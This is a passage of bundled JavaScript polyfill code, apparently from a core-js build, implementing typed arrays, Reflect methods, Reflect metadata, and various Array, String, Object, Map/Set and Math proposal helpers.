								buffer = new $ArrayBuffer(byteLength);
							} else if (data instanceof $ArrayBuffer || (klass = classof(data)) == ARRAY_BUFFER || klass == SHARED_BUFFER) {
								buffer = data;
								offset = toOffset($offset, BYTES);
								var $len = data.byteLength;

								if ($length === undefined) {
									if ($len % BYTES) throw RangeError(WRONG_LENGTH);
									byteLength = $len - offset;
									if (byteLength < 0) throw RangeError(WRONG_LENGTH);
								} else {
									byteLength = toLength($length) * BYTES;
									if (byteLength + offset > $len) throw RangeError(WRONG_LENGTH);
								}

								length = byteLength / BYTES;
							} else if (TYPED_ARRAY in data) {
								return fromList(TypedArray, data);
							} else {
								return $from.call(TypedArray, data);
							}

							hide(that, '_d', {
								b: buffer,
								o: offset,
								l: byteLength,
								e: length,
								v: new $DataView(buffer)
							});

							while (index < length) {
								addElement(that, index++);
							}
						});
						TypedArrayPrototype = TypedArray[PROTOTYPE] = create($TypedArrayPrototype$);
						hide(TypedArrayPrototype, 'constructor', TypedArray);
					} else if (!fails(function () {
						TypedArray(1);
					}) || !fails(function () {
						new TypedArray(-1); // eslint-disable-line no-new
					}) || !$iterDetect(function (iter) {
						new TypedArray(); // eslint-disable-line no-new

						new TypedArray(null); // eslint-disable-line no-new

						new TypedArray(1.5); // eslint-disable-line no-new

						new TypedArray(iter); // eslint-disable-line no-new
					}, true)) {
						TypedArray = wrapper(function (that, data, $offset, $length) {
							anInstance(that, TypedArray, NAME);
							var klass; // `ws` module bug, temporarily remove validation length for Uint8Array
							// https://github.com/websockets/ws/pull/645

							if (!isObject(data)) return new Base(toIndex(data));

							if (data instanceof $ArrayBuffer || (klass = classof(data)) == ARRAY_BUFFER || klass == SHARED_BUFFER) {
								return $length !== undefined ? new Base(data, toOffset($offset, BYTES), $length) : $offset !== undefined ? new Base(data, toOffset($offset, BYTES)) : new Base(data);
							}

							if (TYPED_ARRAY in data) return fromList(TypedArray, data);
							return $from.call(TypedArray, data);
						});
						arrayForEach(TAC !== Function.prototype ? gOPN(Base).concat(gOPN(TAC)) : gOPN(Base), function (key) {
							if (!(key in TypedArray)) hide(TypedArray, key, Base[key]);
						});
						TypedArray[PROTOTYPE] = TypedArrayPrototype;
						TypedArrayPrototype.constructor = TypedArray;
					}

					var $nativeIterator = TypedArrayPrototype[ITERATOR];
					var CORRECT_ITER_NAME = !!$nativeIterator && ($nativeIterator.name == 'values' || $nativeIterator.name == undefined);
					var $iterator = $iterators.values;
					hide(TypedArray, TYPED_CONSTRUCTOR, true);
					hide(TypedArrayPrototype, TYPED_ARRAY, NAME);
					hide(TypedArrayPrototype, VIEW, true);
					hide(TypedArrayPrototype, DEF_CONSTRUCTOR, TypedArray);

					if (CLAMPED ? new TypedArray(1)[TAG] != NAME : !(TAG in TypedArrayPrototype)) {
						dP(TypedArrayPrototype, TAG, {
							get: function get() {
								return NAME;
							}
						});
					}

					O[NAME] = TypedArray;
					$export($export.G + $export.W + $export.F * (TypedArray != Base), O);
					$export($export.S, NAME, {
						BYTES_PER_ELEMENT: BYTES
					});
					$export($export.S + $export.F * fails(function () {
						Base.of.call(TypedArray, 1);
					}), NAME, {
						from: $from,
						of: $of
					});
					if (!(BYTES_PER_ELEMENT in TypedArrayPrototype)) hide(TypedArrayPrototype, BYTES_PER_ELEMENT, BYTES);
					$export($export.P, NAME, proto);
					setSpecies(NAME);
					$export($export.P + $export.F * FORCED_SET, NAME, {
						set: $set
					});
					$export($export.P + $export.F * !CORRECT_ITER_NAME, NAME, $iterators);
					if (TypedArrayPrototype.toString != arrayToString) TypedArrayPrototype.toString = arrayToString;
					$export($export.P + $export.F * fails(function () {
						new TypedArray(1).slice();
					}), NAME, {
						slice: $slice
					});
					$export($export.P + $export.F * (fails(function () {
						return [1, 2].toLocaleString() != new TypedArray([1, 2]).toLocaleString();
					}) || !fails(function () {
						TypedArrayPrototype.toLocaleString.call([1, 2]);
					})), NAME, {
						toLocaleString: $toLocaleString
					});
					Iterators[NAME] = CORRECT_ITER_NAME ? $nativeIterator : $iterator;
					if (!CORRECT_ITER_NAME) hide(TypedArrayPrototype, ITERATOR, $iterator);
				};
			} else module.exports = function () {
				/* empty */
			};
		});

		_typedArray('Int8', 1, function (init) {
			return function Int8Array(data, byteOffset, length) {
				return init(this, data, byteOffset, length);
			};
		});

		_typedArray('Uint8', 1, function (init) {
			return function Uint8Array(data, byteOffset, length) {
				return init(this, data, byteOffset, length);
			};
		});

		_typedArray('Uint8', 1, function (init) {
			return function Uint8ClampedArray(data, byteOffset, length) {
				return init(this, data, byteOffset, length);
			};
		}, true);

		_typedArray('Int16', 2, function (init) {
			return function Int16Array(data, byteOffset, length) {
				return init(this, data, byteOffset, length);
			};
		});

		_typedArray('Uint16', 2, function (init) {
			return function Uint16Array(data, byteOffset, length) {
				return init(this, data, byteOffset, length);
			};
		});

		_typedArray('Int32', 4, function (init) {
			return function Int32Array(data, byteOffset, length) {
				return init(this, data, byteOffset, length);
			};
		});

		_typedArray('Uint32', 4, function (init) {
			return function Uint32Array(data, byteOffset, length) {
				return init(this, data, byteOffset, length);
			};
		});

		_typedArray('Float32', 4, function (init) {
			return function Float32Array(data, byteOffset, length) {
				return init(this, data, byteOffset, length);
			};
		});

		_typedArray('Float64', 8, function (init) {
			return function Float64Array(data, byteOffset, length) {
				return init(this, data, byteOffset, length);
			};
		});

		// 26.1.1 Reflect.apply(target, thisArgument, argumentsList)






		var rApply = (_global.Reflect || {}).apply;
		var fApply = Function.apply; // MS Edge argumentsList argument is optional

		_export(_export.S + _export.F * !_fails(function () {
			rApply(function () {
				/* empty */
			});
		}), 'Reflect', {
			apply: function apply(target, thisArgument, argumentsList) {
				var T = _aFunction(target);
				var L = _anObject(argumentsList);
				return rApply ? rApply(T, thisArgument, L) : fApply.call(T, thisArgument, L);
			}
		});

		// 26.1.2 Reflect.construct(target, argumentsList [, newTarget])














		var rConstruct = (_global.Reflect || {}).construct; // MS Edge supports only 2 arguments and argumentsList argument is optional
		// FF Nightly sets third argument as `new.target`, but does not create `this` from it

		var NEW_TARGET_BUG = _fails(function () {
			function F() {
				/* empty */
			}

			return !(rConstruct(function () {
				/* empty */
			}, [], F) instanceof F);
		});
		var ARGS_BUG = !_fails(function () {
			rConstruct(function () {
				/* empty */
			});
		});
		_export(_export.S + _export.F * (NEW_TARGET_BUG || ARGS_BUG), 'Reflect', {
			construct: function construct(Target, args
										  /* , newTarget */
			) {
				_aFunction(Target);
				_anObject(args);
				var newTarget = arguments.length < 3 ? Target : _aFunction(arguments[2]);
				if (ARGS_BUG && !NEW_TARGET_BUG) return rConstruct(Target, args, newTarget);

				if (Target == newTarget) {
					// w/o altered newTarget, optimization for 0-4 arguments
					switch (args.length) {
						case 0:
							return new Target();

						case 1:
							return new Target(args[0]);

						case 2:
							return new Target(args[0], args[1]);

						case 3:
							return new Target(args[0], args[1], args[2]);

						case 4:
							return new Target(args[0], args[1], args[2], args[3]);
					} // w/o altered newTarget, lot of arguments case


					var $args = [null];
					$args.push.apply($args, args);
					return new (_bind.apply(Target, $args))();
				} // with altered newTarget, not support built-in constructors


				var proto = newTarget.prototype;
				var instance = _objectCreate(_isObject(proto) ? proto : Object.prototype);
				var result = Function.apply.call(Target, instance, args);
				return _isObject(result) ? result : instance;
			}
		});

		// 26.1.3 Reflect.defineProperty(target, propertyKey, attributes)






		// MS Edge has broken Reflect.defineProperty - throwing instead of returning false


		_export(_export.S + _export.F * _fails(function () {
			// eslint-disable-next-line no-undef
			Reflect.defineProperty(_objectDp.f({}, 1, {
				value: 1
			}), 1, {
				value: 2
			});
		}), 'Reflect', {
			defineProperty: function defineProperty(target, propertyKey, attributes) {
				_anObject(target);
				propertyKey = _toPrimitive(propertyKey, true);
				_anObject(attributes);

				try {
					_objectDp.f(target, propertyKey, attributes);
					return true;
				} catch (e) {
					return false;
				}
			}
		});

		// 26.1.4 Reflect.deleteProperty(target, propertyKey)


		var gOPD$3 = _objectGopd.f;



		_export(_export.S, 'Reflect', {
			deleteProperty: function deleteProperty(target, propertyKey) {
				var desc = gOPD$3(_anObject(target), propertyKey);
				return desc && !desc.configurable ? false : delete target[propertyKey];
			}
		});

		var Enumerate = function Enumerate(iterated) {
			this._t = _anObject(iterated); // target

			this._i = 0; // next index

			var keys = this._k = []; // keys

			var key;

			for (key in iterated) {
				keys.push(key);
			}
		};

		_iterCreate(Enumerate, 'Object', function () {
			var that = this;
			var keys = that._k;
			var key;

			do {
				if (that._i >= keys.length) return {
					value: undefined,
					done: true
				};
			} while (!((key = keys[that._i++]) in that._t));

			return {
				value: key,
				done: false
			};
		});

		_export(_export.S, 'Reflect', {
			enumerate: function enumerate(target) {
				return new Enumerate(target);
			}
		});

		// 26.1.6 Reflect.get(target, propertyKey [, receiver])












		function get(target, propertyKey
					 /* , receiver */
		) {
			var receiver = arguments.length < 3 ? target : arguments[2];
			var desc, proto;
			if (_anObject(target) === receiver) return target[propertyKey];
			if (desc = _objectGopd.f(target, propertyKey)) return _has(desc, 'value') ? desc.value : desc.get !== undefined ? desc.get.call(receiver) : undefined;
			if (_isObject(proto = _objectGpo(target))) return get(proto, propertyKey, receiver);
		}

		_export(_export.S, 'Reflect', {
			get: get
		});

		// 26.1.7 Reflect.getOwnPropertyDescriptor(target, propertyKey)






		_export(_export.S, 'Reflect', {
			getOwnPropertyDescriptor: function getOwnPropertyDescriptor(target, propertyKey) {
				return _objectGopd.f(_anObject(target), propertyKey);
			}
		});

		// 26.1.8 Reflect.getPrototypeOf(target)






		_export(_export.S, 'Reflect', {
			getPrototypeOf: function getPrototypeOf(target) {
				return _objectGpo(_anObject(target));
			}
		});

		// 26.1.9 Reflect.has(target, propertyKey)


		_export(_export.S, 'Reflect', {
			has: function has(target, propertyKey) {
				return propertyKey in target;
			}
		});

		// 26.1.10 Reflect.isExtensible(target)




		var $isExtensible = Object.isExtensible;
		_export(_export.S, 'Reflect', {
			isExtensible: function isExtensible(target) {
				_anObject(target);
				return $isExtensible ? $isExtensible(target) : true;
			}
		});

		// all object keys, includes non-enumerable and symbols






		var Reflect$1 = _global.Reflect;

		var _ownKeys = Reflect$1 && Reflect$1.ownKeys || function ownKeys(it) {
			var keys = _objectGopn.f(_anObject(it));
			var getSymbols = _objectGops.f;
			return getSymbols ? keys.concat(getSymbols(it)) : keys;
		};

		// 26.1.11 Reflect.ownKeys(target)


		_export(_export.S, 'Reflect', {
			ownKeys: _ownKeys
		});

		// 26.1.12 Reflect.preventExtensions(target)




		var $preventExtensions = Object.preventExtensions;
		_export(_export.S, 'Reflect', {
			preventExtensions: function preventExtensions(target) {
				_anObject(target);

				try {
					if ($preventExtensions) $preventExtensions(target);
					return true;
				} catch (e) {
					return false;
				}
			}
		});

		// 26.1.13 Reflect.set(target, propertyKey, V [, receiver])
















		function set(target, propertyKey, V
					 /* , receiver */
		) {
			var receiver = arguments.length < 4 ? target : arguments[3];
			var ownDesc = _objectGopd.f(_anObject(target), propertyKey);
			var existingDescriptor, proto;

			if (!ownDesc) {
				if (_isObject(proto = _objectGpo(target))) {
					return set(proto, propertyKey, V, receiver);
				}

				ownDesc = _propertyDesc(0);
			}

			if (_has(ownDesc, 'value')) {
				if (ownDesc.writable === false || !_isObject(receiver)) return false;

				if (existingDescriptor = _objectGopd.f(receiver, propertyKey)) {
					if (existingDescriptor.get || existingDescriptor.set || existingDescriptor.writable === false) return false;
					existingDescriptor.value = V;
					_objectDp.f(receiver, propertyKey, existingDescriptor);
				} else _objectDp.f(receiver, propertyKey, _propertyDesc(0, V));

				return true;
			}

			return ownDesc.set === undefined ? false : (ownDesc.set.call(receiver, V), true);
		}

		_export(_export.S, 'Reflect', {
			set: set
		});

		// 26.1.14 Reflect.setPrototypeOf(target, proto)




		if (_setProto) _export(_export.S, 'Reflect', {
			setPrototypeOf: function setPrototypeOf(target, proto) {
				_setProto.check(target, proto);

				try {
					_setProto.set(target, proto);
					return true;
				} catch (e) {
					return false;
				}
			}
		});

		var $includes = _arrayIncludes(true);

		_export(_export.P, 'Array', {
			includes: function includes(el
										/* , fromIndex = 0 */
			) {
				return $includes(this, el, arguments.length > 1 ? arguments[1] : undefined);
			}
		});

		_addToUnscopables('includes');

		var IS_CONCAT_SPREADABLE = _wks('isConcatSpreadable');

		function flattenIntoArray(target, original, source, sourceLen, start, depth, mapper, thisArg) {
			var targetIndex = start;
			var sourceIndex = 0;
			var mapFn = mapper ? _ctx(mapper, thisArg, 3) : false;
			var element, spreadable;

			while (sourceIndex < sourceLen) {
				if (sourceIndex in source) {
					element = mapFn ? mapFn(source[sourceIndex], sourceIndex, original) : source[sourceIndex];
					spreadable = false;

					if (_isObject(element)) {
						spreadable = element[IS_CONCAT_SPREADABLE];
						spreadable = spreadable !== undefined ? !!spreadable : _isArray(element);
					}

					if (spreadable && depth > 0) {
						targetIndex = flattenIntoArray(target, original, element, _toLength(element.length), targetIndex, depth - 1) - 1;
					} else {
						if (targetIndex >= 0x1fffffffffffff) throw TypeError();
						target[targetIndex] = element;
					}

					targetIndex++;
				}

				sourceIndex++;
			}

			return targetIndex;
		}

		var _flattenIntoArray = flattenIntoArray;

		_export(_export.P, 'Array', {
			flatMap: function flatMap(callbackfn
									  /* , thisArg */
			) {
				var O = _toObject(this);
				var sourceLen, A;
				_aFunction(callbackfn);
				sourceLen = _toLength(O.length);
				A = _arraySpeciesCreate(O, 0);
				_flattenIntoArray(A, O, O, sourceLen, 0, 1, callbackfn, arguments[1]);
				return A;
			}
		});

		_addToUnscopables('flatMap');

		_export(_export.P, 'Array', {
			flatten: function flatten()
				/* depthArg = 1 */
			{
				var depthArg = arguments[0];
				var O = _toObject(this);
				var sourceLen = _toLength(O.length);
				var A = _arraySpeciesCreate(O, 0);
				_flattenIntoArray(A, O, O, sourceLen, 0, depthArg === undefined ? 1 : _toInteger(depthArg));
				return A;
			}
		});

		_addToUnscopables('flatten');

		var $at$2 = _stringAt(true);

		_export(_export.P, 'String', {
			at: function at(pos) {
				return $at$2(this, pos);
			}
		});

		// https://github.com/tc39/proposal-string-pad-start-end






		var _stringPad = function (that, maxLength, fillString, left) {
			var S = String(_defined(that));
			var stringLength = S.length;
			var fillStr = fillString === undefined ? ' ' : String(fillString);
			var intMaxLength = _toLength(maxLength);
			if (intMaxLength <= stringLength || fillStr == '') return S;
			var fillLen = intMaxLength - stringLength;
			var stringFiller = _stringRepeat.call(fillStr, Math.ceil(fillLen / fillStr.length));
			if (stringFiller.length > fillLen) stringFiller = stringFiller.slice(0, fillLen);
			return left ? stringFiller + S : S + stringFiller;
		};

		// https://github.com/zloirock/core-js/issues/280


		_export(_export.P + _export.F * /Version\/10\.\d+(\.\d+)? Safari\//.test(_userAgent), 'String', {
			padStart: function padStart(maxLength
										/* , fillString = ' ' */
			) {
				return _stringPad(this, maxLength, arguments.length > 1 ? arguments[1] : undefined, true);
			}
		});

		// https://github.com/zloirock/core-js/issues/280


		_export(_export.P + _export.F * /Version\/10\.\d+(\.\d+)? Safari\//.test(_userAgent), 'String', {
			padEnd: function padEnd(maxLength
									/* , fillString = ' ' */
			) {
				return _stringPad(this, maxLength, arguments.length > 1 ? arguments[1] : undefined, false);
			}
		});

		_stringTrim('trimLeft', function ($trim) {
			return function trimLeft() {
				return $trim(this, 1);
			};
		}, 'trimStart');

		_stringTrim('trimRight', function ($trim) {
			return function trimRight() {
				return $trim(this, 2);
			};
		}, 'trimEnd');

		var RegExpProto = RegExp.prototype;

		var $RegExpStringIterator = function $RegExpStringIterator(regexp, string) {
			this._r = regexp;
			this._s = string;
		};

		_iterCreate($RegExpStringIterator, 'RegExp String', function next() {
			var match = this._r.exec(this._s);

			return {
				value: match,
				done: match === null
			};
		});

		_export(_export.P, 'String', {
			matchAll: function matchAll(regexp) {
				_defined(this);
				if (!_isRegexp(regexp)) throw TypeError(regexp + ' is not a regexp!');
				var S = String(this);
				var flags = 'flags' in RegExpProto ? String(regexp.flags) : _flags.call(regexp);
				var rx = new RegExp(regexp.source, ~flags.indexOf('g') ? flags : 'g' + flags);
				rx.lastIndex = _toLength(regexp.lastIndex);
				return new $RegExpStringIterator(rx, S);
			}
		});

		_wksDefine('asyncIterator');

		_wksDefine('observable');

		// https://github.com/tc39/proposal-object-getownpropertydescriptors










		_export(_export.S, 'Object', {
			getOwnPropertyDescriptors: function getOwnPropertyDescriptors(object) {
				var O = _toIobject(object);
				var getDesc = _objectGopd.f;
				var keys = _ownKeys(O);
				var result = {};
				var i = 0;
				var key, desc;

				while (keys.length > i) {
					desc = getDesc(O, key = keys[i++]);
					if (desc !== undefined) _createProperty(result, key, desc);
				}

				return result;
			}
		});

		var isEnum$1 = _objectPie.f;

		var _objectToArray = function (isEntries) {
			return function (it) {
				var O = _toIobject(it);
				var keys = _objectKeys(O);
				var length = keys.length;
				var i = 0;
				var result = [];
				var key;

				while (length > i) {
					if (isEnum$1.call(O, key = keys[i++])) {
						result.push(isEntries ? [key, O[key]] : O[key]);
					}
				}

				return result;
			};
		};

		// https://github.com/tc39/proposal-object-values-entries


		var $values = _objectToArray(false);

		_export(_export.S, 'Object', {
			values: function values(it) {
				return $values(it);
			}
		});

		// https://github.com/tc39/proposal-object-values-entries


		var $entries = _objectToArray(true);

		_export(_export.S, 'Object', {
			entries: function entries(it) {
				return $entries(it);
			}
		});

		var _objectForcedPam = !_fails(function () {
			var K = Math.random(); // In FF throws only define methods
			// eslint-disable-next-line no-undef, no-useless-call

			__defineSetter__.call(null, K, function () {
				/* empty */
			});

			delete _global[K];
		});

		// B.2.2.2 Object.prototype.__defineGetter__(P, getter)


		_descriptors && _export(_export.P + _objectForcedPam, 'Object', {
			__defineGetter__: function __defineGetter__(P, getter) {
				_objectDp.f(_toObject(this), P, {
					get: _aFunction(getter),
					enumerable: true,
					configurable: true
				});
			}
		});

		// B.2.2.3 Object.prototype.__defineSetter__(P, setter)


		_descriptors && _export(_export.P + _objectForcedPam, 'Object', {
			__defineSetter__: function __defineSetter__(P, setter) {
				_objectDp.f(_toObject(this), P, {
					set: _aFunction(setter),
					enumerable: true,
					configurable: true
				});
			}
		});

		var getOwnPropertyDescriptor = _objectGopd.f; // B.2.2.4 Object.prototype.__lookupGetter__(P)


		_descriptors && _export(_export.P + _objectForcedPam, 'Object', {
			__lookupGetter__: function __lookupGetter__(P) {
				var O = _toObject(this);
				var K = _toPrimitive(P, true);
				var D;

				do {
					if (D = getOwnPropertyDescriptor(O, K)) return D.get;
				} while (O = _objectGpo(O));
			}
		});

		var getOwnPropertyDescriptor$1 = _objectGopd.f; // B.2.2.5 Object.prototype.__lookupSetter__(P)


		_descriptors && _export(_export.P + _objectForcedPam, 'Object', {
			__lookupSetter__: function __lookupSetter__(P) {
				var O = _toObject(this);
				var K = _toPrimitive(P, true);
				var D;

				do {
					if (D = getOwnPropertyDescriptor$1(O, K)) return D.set;
				} while (O = _objectGpo(O));
			}
		});

		var _arrayFromIterable = function (iter, ITERATOR) {
			var result = [];
			_forOf(iter, false, result.push, result, ITERATOR);
			return result;
		};

		// https://github.com/DavidBruant/Map-Set.prototype.toJSON




		var _collectionToJson = function (NAME) {
			return function toJSON() {
				if (_classof(this) != NAME) throw TypeError(NAME + "#toJSON isn't generic");
				return _arrayFromIterable(this);
			};
		};

		// https://github.com/DavidBruant/Map-Set.prototype.toJSON


		_export(_export.P + _export.R, 'Map', {
			toJSON: _collectionToJson('Map')
		});

		// https://github.com/DavidBruant/Map-Set.prototype.toJSON


		_export(_export.P + _export.R, 'Set', {
			toJSON: _collectionToJson('Set')
		});

		var _setCollectionOf = function (COLLECTION) {
			_export(_export.S, COLLECTION, {
				of: function of() {
					var length = arguments.length;
					var A = new Array(length);

					while (length--) {
						A[length] = arguments[length];
					}

					return new this(A);
				}
			});
		};

		// https://tc39.github.io/proposal-setmap-offrom/#sec-map.of
		_setCollectionOf('Map');

		// https://tc39.github.io/proposal-setmap-offrom/#sec-set.of
		_setCollectionOf('Set');

		// https://tc39.github.io/proposal-setmap-offrom/#sec-weakmap.of
		_setCollectionOf('WeakMap');

		// https://tc39.github.io/proposal-setmap-offrom/#sec-weakset.of
		_setCollectionOf('WeakSet');

		var _setCollectionFrom = function (COLLECTION) {
			_export(_export.S, COLLECTION, {
				from: function from(source
									/* , mapFn, thisArg */
				) {
					var mapFn = arguments[1];
					var mapping, A, n, cb;
					_aFunction(this);
					mapping = mapFn !== undefined;
					if (mapping) _aFunction(mapFn);
					if (source == undefined) return new this();
					A = [];

					if (mapping) {
						n = 0;
						cb = _ctx(mapFn, arguments[2], 2);
						_forOf(source, false, function (nextItem) {
							A.push(cb(nextItem, n++));
						});
					} else {
						_forOf(source, false, A.push, A);
					}

					return new this(A);
				}
			});
		};

		// https://tc39.github.io/proposal-setmap-offrom/#sec-map.from
		_setCollectionFrom('Map');

		// https://tc39.github.io/proposal-setmap-offrom/#sec-set.from
		_setCollectionFrom('Set');

		// https://tc39.github.io/proposal-setmap-offrom/#sec-weakmap.from
		_setCollectionFrom('WeakMap');

		// https://tc39.github.io/proposal-setmap-offrom/#sec-weakset.from
		_setCollectionFrom('WeakSet');

		// https://github.com/tc39/proposal-global


		_export(_export.G, {
			global: _global
		});

		// https://github.com/tc39/proposal-global


		_export(_export.S, 'System', {
			global: _global
		});

		// https://github.com/ljharb/proposal-is-error




		_export(_export.S, 'Error', {
			isError: function isError(it) {
				return _cof(it) === 'Error';
			}
		});

		// https://rwaldron.github.io/proposal-math-extensions/


		_export(_export.S, 'Math', {
			clamp: function clamp(x, lower, upper) {
				return Math.min(upper, Math.max(lower, x));
			}
		});

		// https://rwaldron.github.io/proposal-math-extensions/


		_export(_export.S, 'Math', {
			DEG_PER_RAD: Math.PI / 180
		});

		// https://rwaldron.github.io/proposal-math-extensions/


		var RAD_PER_DEG = 180 / Math.PI;
		_export(_export.S, 'Math', {
			degrees: function degrees(radians) {
				return radians * RAD_PER_DEG;
			}
		});

		// https://rwaldron.github.io/proposal-math-extensions/
		var _mathScale = Math.scale || function scale(x, inLow, inHigh, outLow, outHigh) {
			if (arguments.length === 0 // eslint-disable-next-line no-self-compare
				|| x != x // eslint-disable-next-line no-self-compare
				|| inLow != inLow // eslint-disable-next-line no-self-compare
				|| inHigh != inHigh // eslint-disable-next-line no-self-compare
				|| outLow != outLow // eslint-disable-next-line no-self-compare
				|| outHigh != outHigh) return NaN;
			if (x === Infinity || x === -Infinity) return x;
			return (x - inLow) * (outHigh - outLow) / (inHigh - inLow) + outLow;
		};

		// https://rwaldron.github.io/proposal-math-extensions/






		_export(_export.S, 'Math', {
			fscale: function fscale(x, inLow, inHigh, outLow, outHigh) {
				return _mathFround(_mathScale(x, inLow, inHigh, outLow, outHigh));
			}
		});

		// https://gist.github.com/BrendanEich/4294d5c212a6d2254703


		_export(_export.S, 'Math', {
			iaddh: function iaddh(x0, x1, y0, y1) {
				var $x0 = x0 >>> 0;
				var $x1 = x1 >>> 0;
				var $y0 = y0 >>> 0;
				return $x1 + (y1 >>> 0) + (($x0 & $y0 | ($x0 | $y0) & ~($x0 + $y0 >>> 0)) >>> 31) | 0;
			}
		});

		// https://gist.github.com/BrendanEich/4294d5c212a6d2254703


		_export(_export.S, 'Math', {
			isubh: function isubh(x0, x1, y0, y1) {
				var $x0 = x0 >>> 0;
				var $x1 = x1 >>> 0;
				var $y0 = y0 >>> 0;
				return $x1 - (y1 >>> 0) - ((~$x0 & $y0 | ~($x0 ^ $y0) & $x0 - $y0 >>> 0) >>> 31) | 0;
			}
		});

		// https://gist.github.com/BrendanEich/4294d5c212a6d2254703


		_export(_export.S, 'Math', {
			imulh: function imulh(u, v) {
				var UINT16 = 0xffff;
				var $u = +u;
				var $v = +v;
				var u0 = $u & UINT16;
				var v0 = $v & UINT16;
				var u1 = $u >> 16;
				var v1 = $v >> 16;
				var t = (u1 * v0 >>> 0) + (u0 * v0 >>> 16);
				return u1 * v1 + (t >> 16) + ((u0 * v1 >>> 0) + (t & UINT16) >> 16);
			}
		});

		// https://rwaldron.github.io/proposal-math-extensions/


		_export(_export.S, 'Math', {
			RAD_PER_DEG: 180 / Math.PI
		});

		// https://rwaldron.github.io/proposal-math-extensions/


		var DEG_PER_RAD = Math.PI / 180;
		_export(_export.S, 'Math', {
			radians: function radians(degrees) {
				return degrees * DEG_PER_RAD;
			}
		});

		// https://rwaldron.github.io/proposal-math-extensions/


		_export(_export.S, 'Math', {
			scale: _mathScale
		});

		// https://gist.github.com/BrendanEich/4294d5c212a6d2254703


		_export(_export.S, 'Math', {
			umulh: function umulh(u, v) {
				var UINT16 = 0xffff;
				var $u = +u;
				var $v = +v;
				var u0 = $u & UINT16;
				var v0 = $v & UINT16;
				var u1 = $u >>> 16;
				var v1 = $v >>> 16;
				var t = (u1 * v0 >>> 0) + (u0 * v0 >>> 16);
				return u1 * v1 + (t >>> 16) + ((u0 * v1 >>> 0) + (t & UINT16) >>> 16);
			}
		});

		// http://jfbastien.github.io/papers/Math.signbit.html


		_export(_export.S, 'Math', {
			signbit: function signbit(x) {
				// eslint-disable-next-line no-self-compare
				return (x = +x) != x ? x : x == 0 ? 1 / x == Infinity : x > 0;
			}
		});

		_export(_export.S, 'Promise', {
			'try': function _try(callbackfn) {
				var promiseCapability = _newPromiseCapability.f(this);
				var result = _perform(callbackfn);
				(result.e ? promiseCapability.reject : promiseCapability.resolve)(result.v);
				return promiseCapability.promise;
			}
		});

		var shared$1 = _shared('metadata');

		var store = shared$1.store || (shared$1.store = new (es6_weakMap)());

		var getOrCreateMetadataMap = function getOrCreateMetadataMap(target, targetKey, create) {
			var targetMetadata = store.get(target);

			if (!targetMetadata) {
				if (!create) return undefined;
				store.set(target, targetMetadata = new es6_map());
			}

			var keyMetadata = targetMetadata.get(targetKey);

			if (!keyMetadata) {
				if (!create) return undefined;
				targetMetadata.set(targetKey, keyMetadata = new es6_map());
			}

			return keyMetadata;
		};

		var ordinaryHasOwnMetadata = function ordinaryHasOwnMetadata(MetadataKey, O, P) {
			var metadataMap = getOrCreateMetadataMap(O, P, false);
			return metadataMap === undefined ? false : metadataMap.has(MetadataKey);
		};

		var ordinaryGetOwnMetadata = function ordinaryGetOwnMetadata(MetadataKey, O, P) {
			var metadataMap = getOrCreateMetadataMap(O, P, false);
			return metadataMap === undefined ? undefined : metadataMap.get(MetadataKey);
		};

		var ordinaryDefineOwnMetadata = function ordinaryDefineOwnMetadata(MetadataKey, MetadataValue, O, P) {
			getOrCreateMetadataMap(O, P, true).set(MetadataKey, MetadataValue);
		};

		var ordinaryOwnMetadataKeys = function ordinaryOwnMetadataKeys(target, targetKey) {
			var metadataMap = getOrCreateMetadataMap(target, targetKey, false);
			var keys = [];
			if (metadataMap) metadataMap.forEach(function (_, key) {
				keys.push(key);
			});
			return keys;
		};

		var toMetaKey = function toMetaKey(it) {
			return it === undefined || babelHelpers.typeof(it) == 'symbol' ? it : String(it);
		};

		var exp$3 = function exp(O) {
			_export(_export.S, 'Reflect', O);
		};

		var _metadata = {
			store: store,
			map: getOrCreateMetadataMap,
			has: ordinaryHasOwnMetadata,
			get: ordinaryGetOwnMetadata,
			set: ordinaryDefineOwnMetadata,
			keys: ordinaryOwnMetadataKeys,
			key: toMetaKey,
			exp: exp$3
		};

		var toMetaKey$1 = _metadata.key;
		var ordinaryDefineOwnMetadata$1 = _metadata.set;
		_metadata.exp({
			defineMetadata: function defineMetadata(metadataKey, metadataValue, target, targetKey) {
				ordinaryDefineOwnMetadata$1(metadataKey, metadataValue, _anObject(target), toMetaKey$1(targetKey));
			}
		});

		var toMetaKey$2 = _metadata.key;
		var getOrCreateMetadataMap$1 = _metadata.map;
		var store$1 = _metadata.store;
		_metadata.exp({
			deleteMetadata: function deleteMetadata(metadataKey, target
													/* , targetKey */
			) {
				var targetKey = arguments.length < 3 ? undefined : toMetaKey$2(arguments[2]);
				var metadataMap = getOrCreateMetadataMap$1(_anObject(target), targetKey, false);
				if (metadataMap === undefined || !metadataMap['delete'](metadataKey)) return false;
				if (metadataMap.size) return true;
				var targetMetadata = store$1.get(target);
				targetMetadata['delete'](targetKey);
				return !!targetMetadata.size || store$1['delete'](target);
			}
		});

		var ordinaryHasOwnMetadata$1 = _metadata.has;
		var ordinaryGetOwnMetadata$1 = _metadata.get;
		var toMetaKey$3 = _metadata.key;

		var ordinaryGetMetadata = function ordinaryGetMetadata(MetadataKey, O, P) {
			var hasOwn = ordinaryHasOwnMetadata$1(MetadataKey, O, P);
			if (hasOwn) return ordinaryGetOwnMetadata$1(MetadataKey, O, P);
			var parent = _objectGpo(O);
			return parent !== null ? ordinaryGetMetadata(MetadataKey, parent, P) : undefined;
		};

		_metadata.exp({
			getMetadata: function getMetadata(metadataKey, target
											  /* , targetKey */
			) {
				return ordinaryGetMetadata(metadataKey, _anObject(target), arguments.length < 3 ? undefined : toMetaKey$3(arguments[2]));
			}
		});

		var ordinaryOwnMetadataKeys$1 = _metadata.keys;
		var toMetaKey$4 = _metadata.key;

		var ordinaryMetadataKeys = function ordinaryMetadataKeys(O, P) {
			var oKeys = ordinaryOwnMetadataKeys$1(O, P);
			var parent = _objectGpo(O);
			if (parent === null) return oKeys;
			var pKeys = ordinaryMetadataKeys(parent, P);
			return pKeys.length ? oKeys.length ? _arrayFromIterable(new es6_set(oKeys.concat(pKeys))) : pKeys : oKeys;
		};

		_metadata.exp({
			getMetadataKeys: function getMetadataKeys(target
													  /* , targetKey */
			) {
				return ordinaryMetadataKeys(_anObject(target), arguments.length < 2 ? undefined : toMetaKey$4(arguments[1]));
			}
		});

		var ordinaryGetOwnMetadata$2 = _metadata.get;
		var toMetaKey$5 = _metadata.key;
		_metadata.exp({
			getOwnMetadata: function getOwnMetadata(metadataKey, target
													/* , targetKey */
			) {
